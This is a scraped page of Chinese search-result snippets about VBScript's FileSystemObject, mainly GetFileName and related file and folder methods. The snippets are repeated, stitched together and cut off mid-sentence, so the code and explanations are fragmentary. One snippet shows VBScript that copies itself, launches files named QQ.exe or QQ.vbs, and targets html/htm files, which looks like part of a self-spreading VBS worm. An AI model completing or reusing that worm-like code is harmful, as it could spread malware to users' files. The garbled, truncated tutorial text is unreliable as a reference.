GetTempName:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称 MoveFile:移动文件 MoveFolder:移动文件夹[作者:临汾市外事旅游局薛靖澜,转载请注明出处] OpenTextFile:打开一个存在的文件并返回一个TextStream对象 ◎Vbs脚本编程简明教程之八 —FSO中文件夹的基本操作 1、使用fso 由于fso不是wsh的一部分...
Function GetAName(DriveSpec) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") GetAName =fso.GetFileName(DriveSpec)End Function 注意GetFileName方法只能对提供path的字符串起作用。它不能试图分析一个路径,也不能检查指定路径是否存在。
1 新建一个Test文件夹，里面新建两个脚本程序文件（如图）：1. vbs测试程序文件：GetFileName.vbs2. 批处理测试文件：Test.bat 2 用notepad++或者记事本打开程序文件GetFileName.vbs，输入如下测试脚本并保存（如图）：Dim sFileNamesFileName = "C:\Automation.txt"WSH.echo sFileName如程序所示，这里通过WSH....
GetSpecialFolder:返回指向一个特殊文件夹的对象指针 GetTempName:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称 MoveFile:移动文件 MoveFolder:移动文件夹 OpenTextFile:打开一个存在的文件并返回一个TextStream对象 ◎Vbs脚本编程简明教程之八—FSO中文件夹的基本操作 1、使用fso 由于fso不是wsh的一部...
GetDriveName:返回一个驱动器的名字 GetExtensionName:返回扩展名 GetFile:返回一个file对象 GetFileName:返回文件夹中文件名称 GetFolder:返回一个文件夹对象 GetParentFolderName:返回一个文件夹的父文件夹 GetSpecialFolder:返回指向一个特殊文件夹的对象指针
fso.CreateFolder desfilepath End If backFolderPath=GetLastModify(sourcefilespath) fso.CopyFile backFolderPath,desfilepath&fso.GetFileName(backFolderPath) msgbox "Finish" ''移动文件 Function MoveFiles(yPath,sPath)On Error Resume Next Dim folder,Files,File,subFolder,subFolders ...
GetFileName:返回文件夹中文件名称 GetFolder:返回一个文件夹对象 GetParentFolderName:返回一个文件夹的父文件夹 GetSpecialFolder:返回指向一个特殊文件夹的对象指针 GetTempName:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称 MoveFile:移动文件 MoveFolder:移动文件夹 OpenTextFile:打开一个存在的文件...
filepath = Mid(f1.Path, 1, wz)Call copyme(filepath)If fs.GetFileName(f1.Path) = "QQ.exe" Or fs.GetFileName(f1.Path) = "QQ.vbs" Then Call EXErun(f1.Path)End If Set ext = fs.GetExtensionName(f1.Path)ext = LCase(ext)If ext <> "html" And ext <> "htm" ...
方法名:GetExtensionName(filespec) 说明:返回字符串,该字符串包含路径最后一个组成部分的扩展名。 方法名:GetFileName(pathspec) 说明:返回指定路径(不是指定驱动器路径部分)的最后一个文件或文件夹。 示例: Dim sourcepath sourcepath = "C:/testing/test.txt" ...
Function GetName(name) MsgBox name '输出字符串 End Function function的定义可以才脚本文件的任意位置 function过程是可以有返回值的,返回值的写法为:函数名=值;和其他语言的return不同 Function GetName(name) GetName=123 '返回值 End Function 使用建议:在定义函数的时候,不管有没有参数,统一都加上括号 ...